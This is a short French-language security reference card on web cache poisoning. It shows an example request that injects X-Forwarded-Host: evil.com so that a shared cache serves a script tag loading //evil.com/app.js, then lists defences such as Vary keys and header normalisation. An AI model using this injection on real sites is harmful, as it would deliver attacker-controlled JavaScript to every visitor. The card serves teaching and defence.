Web Cache Poisoning — Empoisonnement de cache
★★★★★
Principe
L'attaquant fait stocker une réponse malveillante dans un cache partagé (CDN, reverse proxy) en exploitant des entrées non incluses dans la clé de cache (en-têtes "unkeyed") mais reflétées dans la réponse. La charge est ensuite servie à tous les visiteurs suivants.
Identifier les unkeyed inputs
# Param Miner (Burp) automatise la détection
# Test manuel : injecter un header et chercher un reflet caché
GET /?cb=12345 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Si la réponse cachée contient evil.com (ex: dans une balise <script src>)
# -> cache poisoning exploitable Exploitation typique
# Forcer le chargement d un JS malveillant pour tous
X-Forwarded-Host: evil.com
# -> <script src="//evil.com/app.js"> mis en cache
# Vérifier le HIT de cache
# Age: > 0 et X-Cache: HIT Défenses
Inclure dans la clé de cache tous les en-têtes qui influencent la réponse (Vary), ne pas refléter d'en-têtes non fiables, normaliser les requêtes au niveau du CDN et désactiver la mise en cache des réponses dynamiques sensibles.